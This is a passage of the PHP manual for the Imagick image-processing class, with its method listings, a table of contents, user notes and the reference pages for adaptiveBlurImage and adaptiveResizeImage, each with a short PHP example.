bool stereoImage ( Imagick $offset_wand )
bool stripImage ( void )
bool swirlImage ( float $degrees )
bool textureImage ( Imagick $texture_wand )
bool thresholdImage ( float $threshold [, int $channel = Imagick::CHANNEL_ALL ] )
bool thumbnailImage ( int $columns , int $rows [, bool $bestfit = false [, bool $fill = false ]] )
bool tintImage ( mixed $tint , mixed $opacity )
Imagick transformImage ( string $crop , string $geometry )
bool transparentPaintImage ( mixed $target , float $alpha , float $fuzz , bool $invert )
bool transposeImage ( void )
bool transverseImage ( void )
bool trimImage ( float $fuzz )
bool uniqueImageColors ( void )
bool unsharpMaskImage ( float $radius , float $sigma , float $amount , float $threshold [, int $channel = Imagick::CHANNEL_ALL ] )
bool valid ( void )
bool vignetteImage ( float $blackPoint , float $whitePoint , int $x , int $y )
bool waveImage ( float $amplitude , float $length )
bool whiteThresholdImage ( mixed $threshold )
bool writeImage ([ string $filename = NULL ] )
bool writeImageFile ( resource $filehandle )
bool writeImages ( string $filename , bool $adjoin )
bool writeImagesFile ( resource $filehandle )
}

Image methods and global methods

The Imagick class has the ability to hold and operate on multiple images simultaneously. This is achieved through an internal stack. There is always an internal pointer that points at the current image. Some functions operate on all images in the Imagick class, but most operate only on the current image in the internal stack. As a convention, method names can contain the word Image to denote they affect only the current image in the stack.

Class Methods

Because there are so many methods, here is a handy list of methods, somewhat reduced to their general purpose:

Class methods by purpose
Image effects | Get methods | Set methods | Read/write images | Other
Imagick::adaptiveBlurImage() | Imagick::getCompression() | Imagick::setBackgroundColor() | Imagick::__construct() | Imagick::clear()
Imagick::adaptiveResizeImage() | Imagick::getFilename() | Imagick::setCompressionQuality() | Imagick::addImage() | Imagick::clone()
Imagick::adaptiveSharpenImage() | Imagick::getFormat() | Imagick::setCompression() | Imagick::appendImages() | Imagick::current()
Imagick::adaptiveThresholdImage() | Imagick::getImageBackgroundColor() | Imagick::setFilename() | Imagick::getFilename() | Imagick::destroy()
Imagick::addNoiseImage() | Imagick::getImageBlob() | Imagick::getImagesBlob() | Imagick::setFormat() | Imagick::getFormat()
Imagick::affinetransformimage() | Imagick::getImageBluePrimary() | Imagick::setImageBackgroundColor() | Imagick::getImageFilename() | Imagick::getHomeURL()
Imagick::annotateImage() | Imagick::getImageBorderColor() | Imagick::setFirstIterator() | Imagick::getImageFormat() | Imagick::commentImage()
Imagick::averageImages() | Imagick::getImageChannelDepth() | Imagick::setImageBias() | Imagick::getImage() | Imagick::getNumberImages()
Imagick::blackThresholdImage() | Imagick::getImageChannelDistortion() | Imagick::setImageBluePrimary() | Imagick::setImageFilename() | Imagick::getReleaseDate()
Imagick::blurImage() | Imagick::getImageChannelExtrema() | Imagick::setImageBorderColor() | Imagick::setImageFormat() | Imagick::getVersion()
Imagick::borderImage() | Imagick::getImageChannelMean() | Imagick::setImageChannelDepth() | Imagick::readImageFile() | Imagick::hasNextImage()
Imagick::charcoalImage() | Imagick::getImageChannelStatistics() | Imagick::setImageColormapColor() | Imagick::readImage() | Imagick::hasPreviousImage()
Imagick::chopImage() | Imagick::getImageColormapColor() | Imagick::setImageColorSpace() | Imagick::writeImages() | Imagick::labelImage()
Imagick::clipImage() | Imagick::getImageColorspace() | Imagick::setImageCompose() | Imagick::writeImage() | Imagick::newImage()
Imagick::clipPathImage() | Imagick::getImageColors() | Imagick::setImageCompression() |  | Imagick::newPseudoImage()
Imagick::coalesceImages() | Imagick::getImageCompose() | Imagick::setImageDelay() |  | Imagick::nextImage()
Imagick::colorFloodFillImage() | Imagick::getImageDelay() | Imagick::setImageDepth() |  | Imagick::pingImageBlob()
Imagick::colorizeImage() | Imagick::getImageDepth() | Imagick::setImageDispose() |  | Imagick::pingImageFile()
Imagick::combineImages() | Imagick::getImageDispose() | Imagick::setImageDispose() |  | Imagick::pingImage()
Imagick::compareImageChannels() | Imagick::getImageDistortion() | Imagick::setImageExtent() |  | Imagick::previousImage()
Imagick::compareImageLayers() | Imagick::getImageExtrema() | Imagick::setImageFilename() |  | Imagick::profileImage()
Imagick::compositeImage() | Imagick::getImageFilename() | Imagick::setImageFormat() |  | Imagick::queryFormats()
Imagick::contrastImage() | Imagick::getImageFormat() | Imagick::setImageGamma() |  | Imagick::removeImageProfile()
Imagick::contrastStretchImage() | Imagick::getImageGamma() | Imagick::setImageGreenPrimary() |  | Imagick::removeImage()
Imagick::convolveImage() | Imagick::getImageGeometry() | Imagick::setImageIndex() |  | Imagick::setFirstIterator()
Imagick::cropImage() | Imagick::getImageGreenPrimary() | Imagick::setImageInterpolateMethod() |  | Imagick::setImageIndex()
Imagick::cycleColormapImage() | Imagick::getImageHeight() | Imagick::setImageIterations() |  | Imagick::valid()
Imagick::deconstructImages() | Imagick::getImageHistogram() | Imagick::setImageMatteColor() |  | Imagick::getCopyright()
Imagick::drawImage() | Imagick::getImageIndex() | Imagick::setImageMatte() |  |
Imagick::edgeImage() | Imagick::getImageInterlaceScheme() | Imagick::setImagePage() |  |
Imagick::embossImage() | Imagick::getImageInterpolateMethod() | Imagick::setImageProfile() |  |
Imagick::enhanceImage() | Imagick::getImageIterations() | Imagick::setImageProperty() |  |
Imagick::equalizeImage() | Imagick::getImageMatteColor() | Imagick::setImageRedPrimary() |  |
Imagick::evaluateImage() | Imagick::getImageMatte() | Imagick::setImageRenderingIntent() |  |
Imagick::flattenImages() | Imagick::getImagePage() | Imagick::setImageResolution() |  |
Imagick::flipImage() | Imagick::getImagePixelColor() | Imagick::setImageScene() |  |
Imagick::flopImage() | Imagick::getImageProfile() | Imagick::setImageTicksPerSecond() |  |
 | Imagick::getImageProperty() | Imagick::setImageType() |  |
Imagick::fxImage() | Imagick::getImageRedPrimary() | Imagick::setImageUnits() |  |
Imagick::gammaImage() | Imagick::getImageRegion() | Imagick::setImageVirtualPixelMethod() |  |
Imagick::gaussianBlurImage() | Imagick::getImageRenderingIntent() | Imagick::setImageWhitepoint() |  |
Imagick::implodeImage() | Imagick::getImageResolution() | Imagick::setInterlaceScheme() |  |
Imagick::levelImage() | Imagick::getImageScene() | Imagick::setOption() |  |
Imagick::linearStretchImage() | Imagick::getImageSignature() | Imagick::setPage() |  |
Imagick::magnifyImage() | Imagick::getImageTicksPerSecond() | Imagick::setResolution() |  |
Imagick::matteFloodFillImage() | Imagick::getImageTotalInkDensity() | Imagick::setResourceLimit() |  |
Imagick::medianFilterImage() | Imagick::getImageType() | Imagick::setSamplingFactors() |  |
Imagick::minifyImage() | Imagick::getImageUnits() | Imagick::setSizeOffset() |  |
Imagick::modulateImage() | Imagick::getImageVirtualPixelMethod() | Imagick::setSize() |  |
Imagick::montageImage() | Imagick::getImageWhitepoint() | Imagick::setType() |  |
Imagick::morphImages() | Imagick::getImageWidth() |  |  |
Imagick::mosaicImages() | Imagick::getImage() |  |  |
Imagick::motionBlurImage() | Imagick::getInterlaceScheme() |  |  |
Imagick::negateImage() | Imagick::getNumberImages() |  |  |
Imagick::normalizeImage() | Imagick::getOption() |  |  |
Imagick::oilPaintImage() | Imagick::getPackageName() |  |  |
Imagick::optimizeImageLayers() | Imagick::getPage() |  |  |
Imagick::paintOpaqueImage() | Imagick::getPixelIterator() |  |  |
Imagick::paintTransparentImage() | Imagick::getPixelRegionIterator() |  |  |
Imagick::posterizeImage() | Imagick::getQuantumDepth() |  |  |
Imagick::radialBlurImage() | Imagick::getQuantumRange() |  |  |
Imagick::raiseImage() | Imagick::getResourceLimit() |  |  |
Imagick::randomThresholdImage() | Imagick::getResource() |  |  |
Imagick::reduceNoiseImage() | Imagick::getSamplingFactors() |  |  |
Imagick::render() | Imagick::getSizeOffset() |  |  |
Imagick::resampleImage() | Imagick::getSize() |  |  |
Imagick::resizeImage() | Imagick::identifyImage() |  |  |
Imagick::rollImage() | Imagick::getImageSize() |  |  |
Imagick::rotateImage() |  |  |  |
Imagick::sampleImage() |  |  |  |
Imagick::scaleImage() |  |  |  |
Imagick::separateImageChannel() |  |  |  |
Imagick::sepiaToneImage() |  |  |  |
Imagick::shadeImage() |  |  |  |
Imagick::shadowImage() |  |  |  |
Imagick::sharpenImage() |  |  |  |
Imagick::shaveImage() |  |  |  |
Imagick::shearImage() |  |  |  |
Imagick::sigmoidalContrastImage() |  |  |  |
Imagick::sketchImage() |  |  |  |
Imagick::solarizeImage() |  |  |  |
Imagick::spliceImage() |  |  |  |
Imagick::spreadImage() |  |  |  |
Imagick::steganoImage() |  |  |  |
Imagick::stereoImage() |  |  |  |
Imagick::stripImage() |  |  |  |
Imagick::swirlImage() |  |  |  |
Imagick::textureImage() |  |  |  |
Imagick::thresholdImage() |  |  |  |
Imagick::thumbnailImage() |  |  |  |
Imagick::tintImage() |  |  |  |
Imagick::transverseImage() |  |  |  |
Imagick::trimImage() |  |  |  |
Imagick::uniqueImageColors() |  |  |  |
Imagick::unsharpMaskImage() |  |  |  |
Imagick::vignetteImage() |  |  |  |
Imagick::waveImage() |  |  |  |
Imagick::whiteThresholdImage() |  |  |  |

Table of Contents

  • Imagick::adaptiveBlurImage — Adds adaptive blur filter to image
  • Imagick::adaptiveResizeImage — Adaptively resize image with data dependent triangulation
  • Imagick::adaptiveSharpenImage — Adaptively sharpen the image
  • Imagick::adaptiveThresholdImage — Selects a threshold for each pixel based on a range of intensity
  • Imagick::addImage — Adds new image to Imagick object image list
  • Imagick::addNoiseImage — Adds random noise to the image
  • Imagick::affineTransformImage — Transforms an image
  • Imagick::animateImages — Animates an image or images
  • Imagick::annotateImage — Annotates an image with text
  • Imagick::appendImages — Append a set of images
  • Imagick::averageImages — Average a set of images
  • Imagick::blackThresholdImage — Forces all pixels below the threshold into black
  • Imagick::blurImage — Adds blur filter to image
  • Imagick::borderImage — Surrounds the image with a border
  • Imagick::charcoalImage — Simulates a charcoal drawing
  • Imagick::chopImage — Removes a region of an image and trims
  • Imagick::clear — Clears all resources associated to Imagick object
  • Imagick::clipImage — Clips along the first path from the 8BIM profile
  • Imagick::clipPathImage — Clips along the named paths from the 8BIM profile
  • Imagick::clone — Makes an exact copy of the Imagick object
  • Imagick::clutImage — Replaces colors in the image
  • Imagick::coalesceImages — Composites a set of images
  • Imagick::colorFloodfillImage — Changes the color value of any pixel that matches target
  • Imagick::colorizeImage — Blends the fill color with the image
  • Imagick::combineImages — Combines one or more images into a single image
  • Imagick::commentImage — Adds a comment to your image
  • Imagick::compareImageChannels — Returns the difference in one or more images
  • Imagick::compareImageLayers — Returns the maximum bounding region between images
  • Imagick::compareImages — Compares an image to a reconstructed image
  • Imagick::compositeImage — Composite one image onto another
  • Imagick::__construct — The Imagick constructor
  • Imagick::contrastImage — Change the contrast of the image
  • Imagick::contrastStretchImage — Enhances the contrast of a color image
  • Imagick::convolveImage — Applies a custom convolution kernel to the image
  • Imagick::cropImage — Extracts a region of the image
  • Imagick::cropThumbnailImage — Creates a crop thumbnail
  • Imagick::current — Returns a reference to the current Imagick object
  • Imagick::cycleColormapImage — Displaces an image's colormap
  • Imagick::decipherImage — Deciphers an image
  • Imagick::deconstructImages — Returns certain pixel differences between images
  • Imagick::deleteImageArtifact — Delete image artifact
  • Imagick::deskewImage — Removes skew from the image
  • Imagick::despeckleImage — Reduces the speckle noise in an image
  • Imagick::destroy — Destroys the Imagick object
  • Imagick::displayImage — Displays an image
  • Imagick::displayImages — Displays an image or image sequence
  • Imagick::distortImage — Distorts an image using various distortion methods
  • Imagick::drawImage — Renders the ImagickDraw object on the current image
  • Imagick::edgeImage — Enhance edges within the image
  • Imagick::embossImage — Returns a grayscale image with a three-dimensional effect
  • Imagick::encipherImage — Enciphers an image
  • Imagick::enhanceImage — Improves the quality of a noisy image
  • Imagick::equalizeImage — Equalizes the image histogram
  • Imagick::evaluateImage — Applies an expression to an image
  • Imagick::exportImagePixels — Exports raw image pixels
  • Imagick::extentImage — Set image size
  • Imagick::flattenImages — Merges a sequence of images
  • Imagick::flipImage — Creates a vertical mirror image
  • Imagick::floodFillPaintImage — Changes the color value of any pixel that matches target
  • Imagick::flopImage — Creates a horizontal mirror image
  • Imagick::frameImage — Adds a simulated three-dimensional border
  • Imagick::functionImage — Applies a function on the image
  • Imagick::fxImage — Evaluate expression for each pixel in the image
  • Imagick::gammaImage — Gamma-corrects an image
  • Imagick::gaussianBlurImage — Blurs an image
  • Imagick::getColorspace — Gets the colorspace
  • Imagick::getCompression — Gets the object compression type
  • Imagick::getCompressionQuality — Gets the object compression quality
  • Imagick::getCopyright — Returns the ImageMagick API copyright as a string
  • Imagick::getFilename — The filename associated with an image sequence
  • Imagick::getFont — Gets font
  • Imagick::getFormat — Returns the format of the Imagick object
  • Imagick::getGravity — Gets the gravity
  • Imagick::getHomeURL — Returns the ImageMagick home URL
  • Imagick::getImage — Returns a new Imagick object
  • Imagick::getImageAlphaChannel — Gets the image alpha channel
  • Imagick::getImageArtifact — Get image artifact
  • Imagick::getImageBackgroundColor — Returns the image background color
  • Imagick::getImageBlob — Returns the image sequence as a blob
  • Imagick::getImageBluePrimary — Returns the chromaticy blue primary point
  • Imagick::getImageBorderColor — Returns the image border color
  • Imagick::getImageChannelDepth — Gets the depth for a particular image channel
  • Imagick::getImageChannelDistortion — Compares image channels of an image to a reconstructed image
  • Imagick::getImageChannelDistortions — Gets channel distortions
  • Imagick::getImageChannelExtrema — Gets the extrema for one or more image channels
  • Imagick::getImageChannelKurtosis — The getImageChannelKurtosis purpose
  • Imagick::getImageChannelMean — Gets the mean and standard deviation
  • Imagick::getImageChannelRange — Gets channel range
  • Imagick::getImageChannelStatistics — Returns statistics for each channel in the image
  • Imagick::getImageClipMask — Gets image clip mask
  • Imagick::getImageColormapColor — Returns the color of the specified colormap index
  • Imagick::getImageColors — Gets the number of unique colors in the image
  • Imagick::getImageColorspace — Gets the image colorspace
  • Imagick::getImageCompose — Returns the composite operator associated with the image
  • Imagick::getImageCompression — Gets the current image's compression type
  • Imagick::getImageCompressionQuality — Gets the current image's compression quality
  • Imagick::getImageDelay — Gets the image delay
  • Imagick::getImageDepth — Gets the image depth
  • Imagick::getImageDispose — Gets the image disposal method
  • Imagick::getImageDistortion — Compares an image to a reconstructed image
  • Imagick::getImageExtrema — Gets the extrema for the image
  • Imagick::getImageFilename — Returns the filename of a particular image in a sequence
  • Imagick::getImageFormat — Returns the format of a particular image in a sequence
  • Imagick::getImageGamma — Gets the image gamma
  • Imagick::getImageGeometry — Gets the width and height as an associative array
  • Imagick::getImageGravity — Gets the image gravity
  • Imagick::getImageGreenPrimary — Returns the chromaticy green primary point
  • Imagick::getImageHeight — Returns the image height
  • Imagick::getImageHistogram — Gets the image histogram
  • Imagick::getImageIndex — Gets the index of the current active image
  • Imagick::getImageInterlaceScheme — Gets the image interlace scheme
  • Imagick::getImageInterpolateMethod — Returns the interpolation method
  • Imagick::getImageIterations — Gets the image iterations
  • Imagick::getImageLength — Returns the image length in bytes
  • Imagick::getImageMagickLicense — Returns a string containing the ImageMagick license
  • Imagick::getImageMatte — Return if the image has a matte channel
  • Imagick::getImageMatteColor — Returns the image matte color
  • Imagick::getImageOrientation — Gets the image orientation
  • Imagick::getImagePage — Returns the page geometry
  • Imagick::getImagePixelColor — Returns the color of the specified pixel
  • Imagick::getImageProfile — Returns the named image profile
  • Imagick::getImageProfiles — Returns the image profiles
  • Imagick::getImageProperties — Returns the image properties
  • Imagick::getImageProperty — Returns the named image property
  • Imagick::getImageRedPrimary — Returns the chromaticity red primary point
  • Imagick::getImageRegion — Extracts a region of the image
  • Imagick::getImageRenderingIntent — Gets the image rendering intent
  • Imagick::getImageResolution — Gets the image X and Y resolution
  • Imagick::getImagesBlob — Returns all image sequences as a blob
  • Imagick::getImageScene — Gets the image scene
  • Imagick::getImageSignature — Generates an SHA-256 message digest
  • Imagick::getImageSize — Returns the image length in bytes
  • Imagick::getImageTicksPerSecond — Gets the image ticks-per-second
  • Imagick::getImageTotalInkDensity — Gets the image total ink density
  • Imagick::getImageType — Gets the potential image type
  • Imagick::getImageUnits — Gets the image units of resolution
  • Imagick::getImageVirtualPixelMethod — Returns the virtual pixel method
  • Imagick::getImageWhitePoint — Returns the chromaticity white point
  • Imagick::getImageWidth — Returns the image width
  • Imagick::getInterlaceScheme — Gets the object interlace scheme
  • Imagick::getIteratorIndex — Gets the index of the current active image
  • Imagick::getNumberImages — Returns the number of images in the object
  • Imagick::getOption — Returns a value associated with the specified key
  • Imagick::getPackageName — Returns the ImageMagick package name
  • Imagick::getPage — Returns the page geometry
  • Imagick::getPixelIterator — Returns a MagickPixelIterator
  • Imagick::getPixelRegionIterator — Get an ImagickPixelIterator for an image section
  • Imagick::getPointSize — Gets point size
  • Imagick::getQuantumDepth — Gets the quantum depth
  • Imagick::getQuantumRange — Returns the Imagick quantum range
  • Imagick::getReleaseDate — Returns the ImageMagick release date
  • Imagick::getResource — Returns the specified resource's memory usage
  • Imagick::getResourceLimit — Returns the specified resource limit
  • Imagick::getSamplingFactors — Gets the horizontal and vertical sampling factor
  • Imagick::getSize — Returns the size associated with the Imagick object
  • Imagick::getSizeOffset — Returns the size offset
  • Imagick::getVersion — Returns the ImageMagick API version
  • Imagick::haldClutImage — Replaces colors in the image
  • Imagick::hasNextImage — Checks if the object has more images
  • Imagick::hasPreviousImage — Checks if the object has a previous image
  • Imagick::identifyImage — Identifies an image and fetches attributes
  • Imagick::implodeImage — Creates a new image as a copy
  • Imagick::importImagePixels — Imports image pixels
  • Imagick::labelImage — Adds a label to an image
  • Imagick::levelImage — Adjusts the levels of an image
  • Imagick::linearStretchImage — Stretches with saturation the image intensity
  • Imagick::liquidRescaleImage — Animates an image or images
  • Imagick::magnifyImage — Scales an image proportionally 2x
  • Imagick::mapImage — Replaces the colors of an image with the closest color from a reference image.
  • Imagick::matteFloodfillImage — Changes the transparency value of a color
  • Imagick::medianFilterImage — Applies a digital filter
  • Imagick::mergeImageLayers — Merges image layers
  • Imagick::minifyImage — Scales an image proportionally to half its size
  • Imagick::modulateImage — Control the brightness, saturation, and hue
  • Imagick::montageImage — Creates a composite image
  • Imagick::morphImages — Method morphs a set of images
  • Imagick::mosaicImages — Forms a mosaic from images
  • Imagick::motionBlurImage — Simulates motion blur
  • Imagick::negateImage — Negates the colors in the reference image
  • Imagick::newImage — Creates a new image
  • Imagick::newPseudoImage — Creates a new image
  • Imagick::nextImage — Moves to the next image
  • Imagick::normalizeImage — Enhances the contrast of a color image
  • Imagick::oilPaintImage — Simulates an oil painting
  • Imagick::opaquePaintImage — Changes the color value of any pixel that matches target
  • Imagick::optimizeImageLayers — Removes repeated portions of images to optimize
  • Imagick::orderedPosterizeImage — Performs an ordered dither
  • Imagick::paintFloodfillImage — Changes the color value of any pixel that matches target
  • Imagick::paintOpaqueImage — Change any pixel that matches color
  • Imagick::paintTransparentImage — Changes any pixel that matches color with the color defined by fill
  • Imagick::pingImage — Fetch basic attributes about the image
  • Imagick::pingImageBlob — Quickly fetch attributes
  • Imagick::pingImageFile — Get basic image attributes in a lightweight manner
  • Imagick::polaroidImage — Simulates a Polaroid picture
  • Imagick::posterizeImage — Reduces the image to a limited number of color level
  • Imagick::previewImages — Quickly pin-point appropriate parameters for image processing
  • Imagick::previousImage — Move to the previous image in the object
  • Imagick::profileImage — Adds or removes a profile from an image
  • Imagick::quantizeImage — Analyzes the colors within a reference image
  • Imagick::quantizeImages — Analyzes the colors within a sequence of images
  • Imagick::queryFontMetrics — Returns an array representing the font metrics
  • Imagick::queryFonts — Returns the configured fonts
  • Imagick::queryFormats — Returns formats supported by Imagick
  • Imagick::radialBlurImage — Radial blurs an image
  • Imagick::raiseImage — Creates a simulated 3d button-like effect
  • Imagick::randomThresholdImage — Creates a high-contrast, two-color image
  • Imagick::readImage — Reads image from filename
  • Imagick::readImageBlob — Reads image from a binary string
  • Imagick::readImageFile — Reads image from open filehandle
  • Imagick::recolorImage — Recolors image
  • Imagick::reduceNoiseImage — Smooths the contours of an image
  • Imagick::remapImage — Remaps image colors
  • Imagick::removeImage — Removes an image from the image list
  • Imagick::removeImageProfile — Removes the named image profile and returns it
  • Imagick::render — Renders all preceding drawing commands
  • Imagick::resampleImage — Resample image to desired resolution
  • Imagick::resetImagePage — Reset image page
  • Imagick::resizeImage — Scales an image
  • Imagick::rollImage — Offsets an image
  • Imagick::rotateImage — Rotates an image
  • Imagick::roundCorners — Rounds image corners
  • Imagick::sampleImage — Scales an image with pixel sampling
  • Imagick::scaleImage — Scales the size of an image
  • Imagick::segmentImage — Segments an image
  • Imagick::separateImageChannel — Separates a channel from the image
  • Imagick::sepiaToneImage — Sepia tones an image
  • Imagick::setBackgroundColor — Sets the object's default background color
  • Imagick::setColorspace — Set colorspace
  • Imagick::setCompression — Sets the object's default compression type
  • Imagick::setCompressionQuality — Sets the object's default compression quality
  • Imagick::setFilename — Sets the filename before you read or write the image
  • Imagick::setFirstIterator — Sets the Imagick iterator to the first image
  • Imagick::setFont — Sets font
  • Imagick::setFormat — Sets the format of the Imagick object
  • Imagick::setGravity — Sets the gravity
  • Imagick::setImage — Replaces image in the object
  • Imagick::setImageAlphaChannel — Sets image alpha channel
  • Imagick::setImageArtifact — Set image artifact
  • Imagick::setImageBackgroundColor — Sets the image background color
  • Imagick::setImageBias — Sets the image bias for any method that convolves an image
  • Imagick::setImageBluePrimary — Sets the image chromaticity blue primary point
  • Imagick::setImageBorderColor — Sets the image border color
  • Imagick::setImageChannelDepth — Sets the depth of a particular image channel
  • Imagick::setImageClipMask — Sets image clip mask
  • Imagick::setImageColormapColor — Sets the color of the specified colormap index
  • Imagick::setImageColorspace — Sets the image colorspace
  • Imagick::setImageCompose — Sets the image composite operator
  • Imagick::setImageCompression — Sets the image compression
  • Imagick::setImageCompressionQuality — Sets the image compression quality
  • Imagick::setImageDelay — Sets the image delay
  • Imagick::setImageDepth — Sets the image depth
  • Imagick::setImageDispose — Sets the image disposal method
  • Imagick::setImageExtent — Sets the image size
  • Imagick::setImageFilename — Sets the filename of a particular image
  • Imagick::setImageFormat — Sets the format of a particular image
  • Imagick::setImageGamma — Sets the image gamma
  • Imagick::setImageGravity — Sets the image gravity
  • Imagick::setImageGreenPrimary — Sets the image chromaticity green primary point
  • Imagick::setImageIndex — Set the iterator position
  • Imagick::setImageInterlaceScheme — Sets the image compression
  • Imagick::setImageInterpolateMethod — Sets the image interpolate pixel method
  • Imagick::setImageIterations — Sets the image iterations
  • Imagick::setImageMatte — Sets the image matte channel
  • Imagick::setImageMatteColor — Sets the image matte color
  • Imagick::setImageOpacity — Sets the image opacity level
  • Imagick::setImageOrientation — Sets the image orientation
  • Imagick::setImagePage — Sets the page geometry of the image
  • Imagick::setImageProfile — Adds a named profile to the Imagick object
  • Imagick::setImageProperty — Sets an image property
  • Imagick::setImageRedPrimary — Sets the image chromaticity red primary point
  • Imagick::setImageRenderingIntent — Sets the image rendering intent
  • Imagick::setImageResolution — Sets the image resolution
  • Imagick::setImageScene — Sets the image scene
  • Imagick::setImageTicksPerSecond — Sets the image ticks-per-second
  • Imagick::setImageType — Sets the image type
  • Imagick::setImageUnits — Sets the image units of resolution
  • Imagick::setImageVirtualPixelMethod — Sets the image virtual pixel method
  • Imagick::setImageWhitePoint — Sets the image chromaticity white point
  • Imagick::setInterlaceScheme — Sets the image compression
  • Imagick::setIteratorIndex — Set the iterator position
  • Imagick::setLastIterator — Sets the Imagick iterator to the last image
  • Imagick::setOption — Set an option
  • Imagick::setPage — Sets the page geometry of the Imagick object
  • Imagick::setPointSize — Sets point size
  • Imagick::setResolution — Sets the image resolution
  • Imagick::setResourceLimit — Sets the limit for a particular resource in megabytes
  • Imagick::setSamplingFactors — Sets the image sampling factors
  • Imagick::setSize — Sets the size of the Imagick object
  • Imagick::setSizeOffset — Sets the size and offset of the Imagick object
  • Imagick::setType — Sets the image type attribute
  • Imagick::shadeImage — Creates a 3D effect
  • Imagick::shadowImage — Simulates an image shadow
  • Imagick::sharpenImage — Sharpens an image
  • Imagick::shaveImage — Shaves pixels from the image edges
  • Imagick::shearImage — Creating a parallelogram
  • Imagick::sigmoidalContrastImage — Adjusts the contrast of an image
  • Imagick::sketchImage — Simulates a pencil sketch
  • Imagick::solarizeImage — Applies a solarizing effect to the image
  • Imagick::sparseColorImage — Interpolates colors
  • Imagick::spliceImage — Splices a solid color into the image
  • Imagick::spreadImage — Randomly displaces each pixel in a block
  • Imagick::steganoImage — Hides a digital watermark within the image
  • Imagick::stereoImage — Composites two images
  • Imagick::stripImage — Strips an image of all profiles and comments
  • Imagick::swirlImage — Swirls the pixels about the center of the image
  • Imagick::textureImage — Repeatedly tiles the texture image
  • Imagick::thresholdImage — Changes the value of individual pixels based on a threshold
  • Imagick::thumbnailImage — Changes the size of an image
  • Imagick::tintImage — Applies a color vector to each pixel in the image
  • Imagick::transformImage — Convenience method for setting crop size and the image geometry
  • Imagick::transparentPaintImage — Paints pixels transparent
  • Imagick::transposeImage — Creates a vertical mirror image
  • Imagick::transverseImage — Creates a horizontal mirror image
  • Imagick::trimImage — Remove edges from the image
  • Imagick::uniqueImageColors — Discards all but one of any pixel color
  • Imagick::unsharpMaskImage — Sharpens an image
  • Imagick::valid — Checks if the current item is valid
  • Imagick::vignetteImage — Adds vignette filter to the image
  • Imagick::waveImage — Applies wave filter to the image
  • Imagick::whiteThresholdImage — Force all pixels above the threshold into white
  • Imagick::writeImage — Writes an image to the specified filename
  • Imagick::writeImageFile — Writes an image to a filehandle
  • Imagick::writeImages — Writes an image or image sequence
  • Imagick::writeImagesFile — Writes frames to a filehandle

User Contributed Notes

benkuhl at gmail dot com 25-Jan-2013 04:52
When using this library with PDFs, the term "image" applies to a page where the pointer begins at the last page of the document.

<?php

$document = new Imagick('myPdf.pdf'); //2 page PDF

$document->getNumberImages(); //returns 2

var_dump($document->hasNextImage()); //returns false - remember, we're on the last page
var_dump($document->hasPreviousImage()); //returns true

?>

If you need to do more than generate thumbnails from a PDF, use XPDF: http://www.foolabs.com/xpdf/home.html
php at mattjanssen dot com 21-Dec-2010 09:39
You can find the documentation for all of these magick_wand--the interface Imagic seems to be built on--functions at http://www.graphicsmagick.org/wand/magick_wand.html
StealthFox at live dot com 23-Oct-2008 04:15
Users looking to save  with these functions should know it can be done easily, for example

<?php
header ("Content-Type: image/{$Imagick->getImageFormat()}");
$data = $Imagick->getImageBlob ();
echo $data;
file_put_contents ('test.png', $data);
?>

That would display the image, and then save it to test.png. Such things are helpful especially when you need to reload images after creating them or save for later. :)


Adds adaptive blur filter to image

  • « Imagick
  • Imagick::adaptiveResizeImage »
  • PHP Manual
  • Imagick
  • Adds adaptive blur filter to image

Imagick::adaptiveBlurImage

(PECL imagick 2.0.0)

Imagick::adaptiveBlurImage — Adds adaptive blur filter to image

Description

bool Imagick::adaptiveBlurImage ( float $radius , float $sigma [, int $channel = Imagick::CHANNEL_DEFAULT ] )

Adds an adaptive blur filter to image. The intensity of an adaptive blur depends is dramatically decreased at edge of the image, whereas a standard blur is uniform across the image. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Parameters

radius

The radius of the Gaussian, in pixels, not counting the center pixel. Provide a value of 0 and the radius will be chosen automagically.

sigma

The standard deviation of the Gaussian, in pixels.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channel constants using bitwise operators. Defaults to Imagick::CHANNEL_DEFAULT. Refer to this list of channel constants

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Examples

Example #1 Using Imagick::adaptiveBlurImage():

Adaptively blur an image, then display to the browser.

<?php

header('Content-type: image/jpeg');

$image = new Imagick('test.jpg');

$image->adaptiveBlurImage(5,3);
echo $image;

?>

The above example will output something similar to:

Output of example : Using Imagick::adaptiveBlurImage()

See Also

  • Imagick::blurImage() - Adds blur filter to image
  • Imagick::motionBlurImage() - Simulates motion blur
  • Imagick::radialBlurImage() - Radial blurs an image

User Contributed Notes

michael at dodwell dot us 28-Aug-2014 09:59
Be aware that this function is extremely CPU intensive.


Adaptively resize image with data dependent triangulation

  • « Imagick::adaptiveBlurImage
  • Imagick::adaptiveSharpenImage »
  • PHP Manual
  • Imagick
  • Adaptively resize image with data dependent triangulation

Imagick::adaptiveResizeImage

(PECL imagick 2.0.0)

Imagick::adaptiveResizeImage — Adaptively resize image with data dependent triangulation

Description

bool Imagick::adaptiveResizeImage ( int $columns , int $rows [, bool $bestfit = false ] )

Adaptively resize image with data-dependent triangulation. Avoids blurring across sharp color changes. Most useful when used to shrink images slightly to a slightly smaller "web size"; may not look good when a full-sized image is adaptively resized to a thumbnail. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Note: The behavior of the parameter bestfit changed in Imagick 3.0.0. Before this version given dimensions 400x400 an image of dimensions 200x150 would be left untouched. In Imagick 3.0.0 and later the image would be scaled up to size 400x300 as this is the "best fit" for the given dimensions. If bestfit parameter is used both width and height must be given.

Parameters

columns

The number of columns in the scaled image.

rows

The number of rows in the scaled image.

bestfit

Whether to fit the image inside a bounding box.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Changelog

Version | Description
2.1.0 | Added optional fit parameter.
2.1.0 | This method now supports proportional scaling. Pass zero as either parameter for proportional scaling.

Examples

Example #1 Using Imagick::adaptiveResizeImage()

Resize an image to a standard size for the web. This method works best when resizing to a size only slightly smaller than the previous image size.

<?php
header('Content-type: image/jpeg');

$image = new Imagick('image.jpg');
$image->adaptiveResizeImage(1024,768);

echo $image;
?>

See Also

  • Imagick::chopImage() - Removes a region of an image and trims
  • Imagick::cropImage() - Extracts a region of the image
  • Imagick::magnifyImage() - Scales an image proportionally 2x
  • Imagick::minifyImage() - Scales an image proportionally to half its size
  • Imagick::resizeImage() - Scales an image
  • Imagick::scaleImage() - Scales the size of an image
  • Imagick::shaveImage() - Shaves pixels from the image edges
  • Imagick::thumbnailImage() - Changes the size of an image
